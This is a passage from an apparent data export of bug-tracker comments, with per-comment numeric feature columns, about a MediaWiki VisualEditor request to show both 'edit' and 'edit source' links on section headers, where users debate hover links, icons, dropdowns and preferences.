clicking.",,,1372374914,,PHID-USER-ebwxbdwkoxprr4cvvjvy,True,,,PHID-TASK-tqom52xzffar63gwv2th,task_subcomment,,True,c1,2,False,,,-1,,1.5,0.16666666666666666,0.16666666666666666,1.0,1.1666666666666667,9.166666666666666,1.1666666666666667,0.0,0.0,0.5,1.1666666666666667,0.3333333333333333,0.0,0.16666666666666666,0.0,1.8333333333333333,0.16666666666666666,5.0,13.0,0.16666666666666666,3.0,0.3333333333333333,0.0,0.0,1.6666666666666667,0.3333333333333333,0.0,0.0,0.3333333333333333,0.8333333333333334,0.16666666666666666,3.1666666666666665,0.8333333333333334,1.1666666666666667,0.6666666666666666,0.16666666666666666,0.0,0.0,1.3333333333333333,0.5,0.16666666666666666,0.16666666666666666,0.3333333333333333,0.5,0.0,0.5,0.0,0.16666666666666666,0.16666666666666666,19.5,0.3333333333333333,0.6666666666666666,0.0,0.6666666666666666,0.16666666666666666,0.0,0.0,0.0,1.3333333333333333,0.0,0.16666666666666666,0.8333333333333334,0.0,0.3333333333333333,0.0,0.16666666666666666,0.0,7.0,2.1666666666666665,6.666666666666667,0.8333333333333334,3.1666666666666665,9.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.3333333333333335,13.0,1.1666666666666667,0.0,3.3333333333333335,0.0,3.3333333333333335,0.0,0.3333333333333333,2.0,0.0,1.0,1.1666666666666667,0.5,0.0,3.8103280349072777,0.6203833567087423,"Saying it is fixed does not make it fixed. The link is hidden, and so I don't consider it ""displayed"" as per the current title of this bugzilla thread: ""VisualEditor: Display a link to both VE and wikitext editor on every section header"".

And you did not address my points. I don't want to start another Bugzilla thread, and have to repeat everything there that was written here. Several people in this thread pointed out their dislike of multi-stage processes to be able to click an ""edit source"" link. 

I am concerned about anonymous editors. I know at some point it is likely an option will be provided in preferences to provide registered editors with a direct ""edit source"" link and/or clickable icon (maybe with explanatory tooltip).

But unless a direct ""edit source"" and/or clickable icon link is provided to anonymous editors, then some anonymous editors will edit less. Just like I edited less today, and almost quit editing altogether for the day, due to my annoyance with this multi-stage method, and the many times I messed up.

The point of the visual editor is to get people to edit more, not less. It should not get in the way of editing. It should aid editing. 

Wikia refused to provide registered editors an option to put the source editor tab on top of the visual editor tab. So people had to do a multi-stage process for every single edit in order to get to the source editor. Click edit, then wait tediously for visual editor to load, then click the source tab. For every edit... So many, if not most, regular editors disabled the visual editor in preferences. Feedback and bug reports lessened, especially the best feedback from the best editors. 

Similar to here now. I have to use a multi-stage process to get to the source editor. Aim at ""edit"" link or the line it is on, mouse over that ""edit"" link or line, aim better if necessary, wait for ""edit source"" link to show up, move mouse over to that link, click. Many times I accidentally, or by habit, click the edit link, and then have to click the back button, and start over. So I have to disable the Visual Editor. 

Here is a possible icon method. ""Edit source"" tooltip can show up after mousing over the icon. And the small icon can have a transparent left and right border that makes the area wider for mousing over. So people will have no problem understanding that the icon is an ""edit source"" link. The visible part of the icon will be small, similar in size to the watchlist star at the top of pages. But the clickable part would extend to the left and right a bit to allow easier clicking."
242977,VisualEditor: Display a link to both VE and wikitext editor on every section header,"This matter is fixed. If you want to suggest additional/alternative implementations, please open a new feature request, not re-open a closed one.",,,1372362973,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-tqom52xzffar63gwv2th,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,3.0,3.0,13.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,7.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,13.0,3.0,3.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.133333333333334,0.8666666666666667,"This matter is fixed. If you want to suggest additional/alternative implementations, please open a new feature request, not re-open a closed one."
242973,VisualEditor: Display a link to both VE and wikitext editor on every section header,"Edit and edit source links so confusing I had to disable Visual Editor in preferences today. So you have lost another beta tester. A good one too since I have written many comments and bug reports about VE here and on the Wikipedia feedback page.

I disabled Visual Editor (VE) in preferences today due to constantly clicking the ""edit"" link instead of the ""edit source"" link. I am talking about section editing.

The source editing link only shows up after unintuitively mousing over the edit link and so I am constantly clicking the wrong link. 

I almost always prefer editing with the source editor since I make frequent edits to tables, images, navboxes, templates, and reference formatting. All at a deep level of formatting, placement, refactoring, etc.. I am very fast in the source editor, and VE only edits partially and poorly at deeper levels, if at all.  

It would be better to use an icon for the ""edit source"" links for sections. For ideas:
*[[commons:User:Timeshifter/Sandbox 10]]
*[[commons:Category:Square brackets]]
*[[commons:Category:MediaWiki brackets]]

""edit source"" can show up after mousing over the icon. That is much more intuitive. I did not notice the ""edit source"" link at all for awhile, since I was rapidly clicking the edit link. 

This could drive away many editors. Anonymous editors especially. They have no ability to fix the problem by turning off visual editor in preferences. Many anonymous editors just do not like to log in, and are very used to editing in source editor. Some will be very irritated by the confusing clicking and mousing, just like me.",,,1372360425,,PHID-USER-ebwxbdwkoxprr4cvvjvy,True,,,PHID-TASK-tqom52xzffar63gwv2th,task_subcomment,,True,c1,2,False,,,-1,,2.25,0.0,0.75,0.0,0.5,5.5,1.0,0.0,0.0,0.25,1.75,0.0,0.0,1.0,0.0,2.75,0.75,8.25,11.0,0.0,1.25,0.0,0.75,0.0,1.0,0.75,0.0,0.25,0.5,0.5,0.25,3.25,0.75,0.25,0.75,0.25,0.0,0.0,0.25,0.25,0.25,0.25,0.5,1.25,0.0,0.25,0.0,0.0,0.0,16.75,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.5,2.0,9.75,1.0,2.25,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.25,0.0,3.5,11.0,3.25,0.0,2.5,0.0,3.5,0.0,0.0,0.75,0.25,2.5,0.75,0.0,2.25,3.895348837209302,0.6540697674418604,"Edit and edit source links so confusing I had to disable Visual Editor in preferences today. So you have lost another beta tester. A good one too since I have written many comments and bug reports about VE here and on the Wikipedia feedback page.

I disabled Visual Editor (VE) in preferences today due to constantly clicking the ""edit"" link instead of the ""edit source"" link. I am talking about section editing.

The source editing link only shows up after unintuitively mousing over the edit link and so I am constantly clicking the wrong link. 

I almost always prefer editing with the source editor since I make frequent edits to tables, images, navboxes, templates, and reference formatting. All at a deep level of formatting, placement, refactoring, etc.. I am very fast in the source editor, and VE only edits partially and poorly at deeper levels, if at all.  

It would be better to use an icon for the ""edit source"" links for sections. For ideas:
*[[commons:User:Timeshifter/Sandbox 10]]
*[[commons:Category:Square brackets]]
*[[commons:Category:MediaWiki brackets]]

""edit source"" can show up after mousing over the icon. That is much more intuitive. I did not notice the ""edit source"" link at all for awhile, since I was rapidly clicking the edit link. 

This could drive away many editors. Anonymous editors especially. They have no ability to fix the problem by turning off visual editor in preferences. Many anonymous editors just do not like to log in, and are very used to editing in source editor. Some will be very irritated by the confusing clicking and mousing, just like me."
242969,VisualEditor: Display a link to both VE and wikitext editor on every section header,"**swalling** wrote:

(In reply to comment #22)
> I was doing my volunteering editing at http://ca.wikipedia.org when all of a
> sudden I realized the new section double-editing links... 
> 
> Well done! I'm glad about everything I said against them, but it is true that
> I'm also glad about your implementation. A good bridge indeed.


+1. If we have to live with both edit/edit source for now, this is a pretty elegant implementation.",,,1372313035,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-tqom52xzffar63gwv2th,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,14.0,2.0,0.0,6.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,2.0,12.0,10.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.12,0.72,"**swalling** wrote:

(In reply to comment #22)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE


+1. If we have to live with both edit/edit source for now, this is a pretty elegant implementation."
242966,VisualEditor: Display a link to both VE and wikitext editor on every section header,Huge thanks. This looks and acts wonderfully.  A good mix of minimal-visuals and maximal-options. Much <3,,,1372312986,,PHID-USER-hphmqcx66p6d6gvmjzp7,True,,,PHID-TASK-tqom52xzffar63gwv2th,task_subcomment,,True,c1,2,False,,,-1,,4.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,3.75,0.8333333333333334,Huge thanks. This looks and acts wonderfully.  A good mix of minimal-visuals and maximal-options. Much <3
242959,VisualEditor: Display a link to both VE and wikitext editor on every section header,"I was doing my volunteering editing at http://ca.wikipedia.org when all of a sudden I realized the new section double-editing links... 

Well done! I'm glad about everything I said against them, but it is true that I'm also glad about your implementation. A good bridge indeed.",,,1372312829,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-tqom52xzffar63gwv2th,task_subcomment,,True,c1,2,False,,,-1,,2.0,2.0,0.0,0.0,0.0,13.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,11.0,2.0,5.0,11.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,4.0,15.0,4.0,2.0,7.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,16.0,11.0,0.0,0.0,0.0,0.0,16.0,0.0,2.0,4.0,2.0,2.0,0.0,0.0,0.0,3.8727272727272726,0.8363636363636363,"I was doing my volunteering editing at URL when all of a sudden I realized the new section double-editing links... 

Well done! I'm glad about everything I said against them, but it is true that I'm also glad about your implementation. A good bridge indeed."
242953,VisualEditor: Display a link to both VE and wikitext editor on every section header,"This was done in gerrit 69984 which is now merged and will go out this afternoon. Thanks, MatmaRex!",,,1372279613,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-tqom52xzffar63gwv2th,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,14.0,0.0,5.0,14.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9047619047619047,1.0,"This was done in gerrit 69984 which is now merged and will go out this afternoon. Thanks, MatmaRex!"
242946,VisualEditor: Display a link to both VE and wikitext editor on every section header,*** Bug 49950 has been marked as a duplicate of this bug. ***,,,1371827708,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-tqom52xzffar63gwv2th,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 49950 has been marked as a duplicate of this bug. ***
242940,VisualEditor: Display a link to both VE and wikitext editor on every section header,"Edit. Edit source [[]].

Edit. [[]].

-----------------

Edit source [[]]. - At the top of the page. This should be one link covering both the text and the icon. 

That way people are introduced to the shortcut icon for ""edit source"". One possibility: [[]]

Headers will have just the shortcut icon link for ""edit source"": [[]]

Some possibilities for the icon are found here:
*[[commons:User:Timeshifter/Sandbox 10]]

The graphics lab can quickly produce different icons and variations: 
*[[Wikipedia:Graphics Lab]]
*[[Wikipedia:Graphics Lab/Illustration workshop]]",,,1371747210,,PHID-USER-ebwxbdwkoxprr4cvvjvy,True,,,PHID-TASK-tqom52xzffar63gwv2th,task_subcomment,,True,c1,2,False,,,-2,,0.5,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.5,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.5,0.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,14.0,0.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,4.5,1.5,12.5,0.0,1.0,6.5,0.0,0.0,0.0,0.0,1.5,0.0,1.5,0.0,0.0,3.5,8.5,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,13.5,3.316846846846847,0.537027027027027,"Edit. Edit source [[]].

Edit. [[]].

-----------------

Edit source [[]]. - At the top of the page. This should be one link covering both the text and the icon. 

That way people are introduced to the shortcut icon for ""edit source"". One possibility: [[]]

Headers will have just the shortcut icon link for ""edit source"": [[]]

Some possibilities for the icon are found here:
*[[commons:User:Timeshifter/Sandbox 10]]

The graphics lab can quickly produce different icons and variations: 
*[[Wikipedia:Graphics Lab]]
*[[Wikipedia:Graphics Lab/Illustration workshop]]"
242931,VisualEditor: Display a link to both VE and wikitext editor on every section header,"Using an arrow is unintuitive and confusing (no indication what the arrow is actually for; can cause the user to expect the word next to it to be the label for the dropdown, not a separate option entirely especially given the way such arrows operate elsewhere in the skin; results in an extra step/click for something that really might as well be right there; etc). Also doesn't make sense when there are only two options anyway. Just do what James said at the beginning and put in two links.

Later they can stick the edit source option into a tab or something in VE itself, but for now there is no reason to overcomplicate things elsewhere. 

Good:

Sandbox [edit] [edit source]",,,1371743257,,PHID-USER-nv2bu7uh3huvidyjo4lk,True,,,PHID-TASK-tqom52xzffar63gwv2th,task_subcomment,,True,c1,2,False,,,-2,,0.0,1.0,0.5,0.0,1.0,3.5,1.5,0.0,0.0,0.0,3.0,0.5,0.0,0.5,1.5,0.0,0.0,12.0,8.0,1.0,1.5,0.0,0.0,0.0,1.5,0.5,0.0,0.0,1.5,0.0,0.0,3.5,2.0,1.0,0.5,0.0,0.0,0.0,0.5,0.0,1.0,0.5,1.5,2.5,0.0,1.0,0.0,0.0,0.0,12.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,1.0,0.0,0.5,7.0,3.5,5.5,0.5,2.5,8.5,0.0,0.0,0.0,0.0,5.5,0.0,1.5,0.0,2.0,8.0,2.0,0.0,0.0,0.0,2.0,0.0,2.5,2.0,0.5,0.5,0.5,0.0,2.5,3.928501564945227,0.7833528951486698,"Using an arrow is unintuitive and confusing (no indication what the arrow is actually for; can cause the user to expect the word next to it to be the label for the dropdown, not a separate option entirely especially given the way such arrows operate elsewhere in the skin; results in an extra step/click for something that really might as well be right there; etc). Also doesn't make sense when there are only two options anyway. Just do what James said at the beginning and put in two links.

Later they can stick the edit source option into a tab or something in VE itself, but for now there is no reason to overcomplicate things elsewhere. 

Good:

Sandbox [edit] [edit source]"
242924,VisualEditor: Display a link to both VE and wikitext editor on every section header,"(In reply to comment #7)
> (In reply to comment #6)
> > I like this idea.  It would be nice if it worked for at least Monobook (in
> > addition to Vector).
> 
> Completely agree. Not sure quite whether this treatment is suitable for
> Monobook or whether we should invent a different one there?

The section edit links look the same in all skins, this shouldn't look bad. Monobook already has some Vector-y bits tacked on top and this would be just a small icon.


(In reply to comment #10)
> There are also a lot of section edits on most large articles, sometimes in
> close succession. I think we should be really cautious about enabling
> multi-level controls and options on something this ubiquitous on a single
> page.

I'm afraid this doesn't support your argument :)

Only showing one link will prevent users from editing sections of wikitext until they learn to disable the option (or just disable VE entirely), which has been my point all along. Wikitext section editing is the ""default"" mode of operation for many users (at a quick glance at recent changes, around 30-50% of en.wp edits are section edits) and it'd be awful for VE to make it unaccessible.",,,1371543971,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-tqom52xzffar63gwv2th,task_subcomment,,True,c1,2,True,,,-2,,2.0,0.0,0.5,0.0,1.0,6.0,2.5,0.0,0.0,0.0,1.5,2.0,0.0,0.5,0.0,1.0,0.0,5.5,9.5,0.0,2.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.5,0.0,4.5,1.0,1.0,2.0,0.5,0.0,0.5,0.0,0.0,0.0,0.5,0.0,4.0,0.0,0.5,0.0,0.0,0.0,15.5,1.5,0.0,0.5,1.0,0.0,0.5,0.0,0.5,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.5,3.0,10.5,0.0,1.5,6.5,0.0,0.5,0.0,1.0,5.0,0.0,3.0,0.0,3.5,9.5,5.0,0.0,1.0,0.0,3.5,0.0,0.5,1.0,0.0,0.5,0.0,0.0,0.0,3.6111344537815127,0.7105042016806722,"(In reply to comment #7)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

The section edit links look the same in all skins, this shouldn't look bad. Monobook already has some Vector-y bits tacked on top and this would be just a small icon.


(In reply to comment #10)
QUOTE
QUOTE
QUOTE
QUOTE

I'm afraid this doesn't support your argument :)

Only showing one link will prevent users from editing sections of wikitext until they learn to disable the option (or just disable VE entirely), which has been my point all along. Wikitext section editing is the ""default"" mode of operation for many users (at a quick glance at recent changes, around 30-50% of en.wp edits are section edits) and it'd be awful for VE to make it unaccessible."
242917,VisualEditor: Display a link to both VE and wikitext editor on every section header,"I like these bracket icons for the edit source links on headers: 
[[commons:User:Timeshifter/Sandbox 10]]",,,1371529452,,PHID-USER-ebwxbdwkoxprr4cvvjvy,True,,,PHID-TASK-tqom52xzffar63gwv2th,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,8.0,12.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.5384615384615383,0.8461538461538461,"I like these bracket icons for the edit source links on headers: 
[[commons:User:Timeshifter/Sandbox 10]]"
242910,VisualEditor: Display a link to both VE and wikitext editor on every section header,"(In reply to comment #14)
> The only other short options would be [edit (source)] or [edit (code)], but
> they're not perfect.

The main problem with that route (which I should have listed, sorry) is that though ""Edit (source)"" works OK in English, it's not a safe expectation for non-English languages to be able to split the actions into two call-to-action labels, one of which is a left sub-string of the first, sadly. Also, it's a bit clunky.",,,1371527558,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-tqom52xzffar63gwv2th,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,1.0,11.0,3.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,14.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,2.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,13.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,11.0,2.0,0.0,10.0,0.0,0.0,0.0,1.0,5.0,0.0,3.0,0.0,3.0,14.0,2.0,0.0,2.0,0.0,3.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,3.239130434782609,0.6956521739130435,"(In reply to comment #14)
QUOTE
QUOTE

The main problem with that route (which I should have listed, sorry) is that though ""Edit (source)"" works OK in English, it's not a safe expectation for non-English languages to be able to split the actions into two call-to-action labels, one of which is a left sub-string of the first, sadly. Also, it's a bit clunky."
242905,VisualEditor: Display a link to both VE and wikitext editor on every section header,"I agree with James and Matthew on this. 

A preferences toggle, is for things you want to change permanently. 

Whereas this is an instance where I might use VE-section-edit, and use source-section-edit, many times each day, for many months to come.

I really like the arrow-dropdown idea. The cog idea is also good, but would be my second choice. 

The only other short options would be [edit (source)] or [edit (code)], but they're not perfect.",,,1371521986,,PHID-USER-hphmqcx66p6d6gvmjzp7,True,,,PHID-TASK-tqom52xzffar63gwv2th,task_subcomment,,True,c1,2,False,,,-2,,1.5,0.0,0.0,0.0,1.0,7.5,3.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,3.0,0.0,3.5,4.0,0.0,1.5,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.5,2.0,0.0,4.5,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.5,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,13.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,3.5,3.5,6.0,1.0,3.5,5.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,1.0,0.0,0.0,0.0,4.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,2.5,3.3909090909090907,0.7090909090909091,"I agree with James and Matthew on this. 

A preferences toggle, is for things you want to change permanently. 

Whereas this is an instance where I might use VE-section-edit, and use source-section-edit, many times each day, for many months to come.

I really like the arrow-dropdown idea. The cog idea is also good, but would be my second choice. 

The only other short options would be [edit (source)] or [edit (code)], but they're not perfect."
242900,VisualEditor: Display a link to both VE and wikitext editor on every section header,"(In reply to comment #11)
> (In reply to comment #8)
> > Personally I think one of these two are the only viable options. The dropdown
> > arrow or cog is too much unnecessary choice.
> 
> I was assuming if you just click 'edit', it would do the same thing as
> clicking 'edit' up top (i.e. VE for those users with VE enabled).  Only if 
> you click the arrow would you see the choice.

Yes, that's exactly our plan - sorry if this wasn't clear. It's available, but not intrusive, and if you click the word ""edit"" link you'll end up in VE at that section.",,,1371521707,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-tqom52xzffar63gwv2th,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,3.0,5.0,2.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,2.0,0.0,5.0,11.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,2.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,17.0,3.0,3.0,6.0,0.0,0.0,0.0,2.0,3.0,3.0,2.0,0.0,6.0,11.0,9.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0606060606060606,0.696969696969697,"(In reply to comment #11)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Yes, that's exactly our plan - sorry if this wasn't clear. It's available, but not intrusive, and if you click the word ""edit"" link you'll end up in VE at that section."
242896,VisualEditor: Display a link to both VE and wikitext editor on every section header,"(In reply to comment #11)
> I was assuming if you just click 'edit', it would do the same thing as
> clicking 'edit' up top (i.e. VE for those users with VE enabled).  Only if you 
> click the arrow would you see the choice.

If we do want to avoid the drop-down for non-power users, one idea is to have the preference be like this (possible default shown)

[✓] Show VisualEditor section link
[ ] Show wikitext section link

You could check either, both (in which case you get some control for choosing, possibly the drop-down), or neither (no section links, which is already an option).",,,1371521678,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-tqom52xzffar63gwv2th,task_subcomment,,True,c1,2,True,,,-2,,1.0,0.0,0.0,0.0,0.0,4.0,3.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,5.0,4.0,0.0,2.0,2.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,9.0,1.0,1.0,11.0,0.0,0.0,0.0,1.0,7.0,0.0,2.0,0.0,3.0,9.0,3.0,0.0,0.0,0.0,3.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,4.0,3.44,0.66,"(In reply to comment #11)
QUOTE
QUOTE
QUOTE

If we do want to avoid the drop-down for non-power users, one idea is to have the preference be like this (possible default shown)

[✓] Show VisualEditor section link
[ ] Show wikitext section link

You could check either, both (in which case you get some control for choosing, possibly the drop-down), or neither (no section links, which is already an option)."
242892,VisualEditor: Display a link to both VE and wikitext editor on every section header,"(In reply to comment #8)
> Personally I think one of these two are the only viable options. The dropdown
> arrow or cog is too much unnecessary choice.

I was assuming if you just click 'edit', it would do the same thing as clicking 'edit' up top (i.e. VE for those users with VE enabled).  Only if you click the arrow would you see the choice.

> Most new editors will appreciate defaulting to VE, and
> for power users who need edit source, this is where having a preference to 
> change your default to edit source would come in handy (a preference I am 
> guessing would free us up to also move ""Edit source"" at the top of the page in 
> to a dropdown).

As a power user, I agree with James.  Having both available on every section greatly increases the odds I'll continue to test VE when possible (and report bugs), while using wikitext when I know I have to.  Having power users opt out for all VE section edits is not conducive to that.",,,1371521421,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-tqom52xzffar63gwv2th,task_subcomment,,True,c1,2,True,,,-2,,1.5,0.0,1.0,0.0,1.0,3.0,1.0,0.0,0.0,1.0,2.5,3.0,0.0,0.5,0.0,3.5,0.0,4.0,11.0,0.0,2.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,2.0,0.5,2.5,1.5,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,12.0,1.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,1.0,1.0,0.0,0.0,3.0,1.5,14.0,3.5,1.5,6.0,0.0,0.0,0.0,0.5,4.5,0.0,0.5,0.0,5.5,11.0,5.5,0.0,2.0,0.0,5.5,0.0,1.5,1.0,0.0,3.5,0.0,0.0,0.5,3.4158751696065126,0.7147218453188602,"(In reply to comment #8)
QUOTE
QUOTE

I was assuming if you just click 'edit', it would do the same thing as clicking 'edit' up top (i.e. VE for those users with VE enabled).  Only if you click the arrow would you see the choice.

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

As a power user, I agree with James.  Having both available on every section greatly increases the odds I'll continue to test VE when possible (and report bugs), while using wikitext when I know I have to.  Having power users opt out for all VE section edits is not conducive to that."
242889,VisualEditor: Display a link to both VE and wikitext editor on every section header,"**swalling** wrote:

(In reply to comment #9)
> (In reply to comment #8)
> > > * ""[edit]"" going to one place unless you've got a preference in which case it
> > > goes to another is… confusing
> > > 
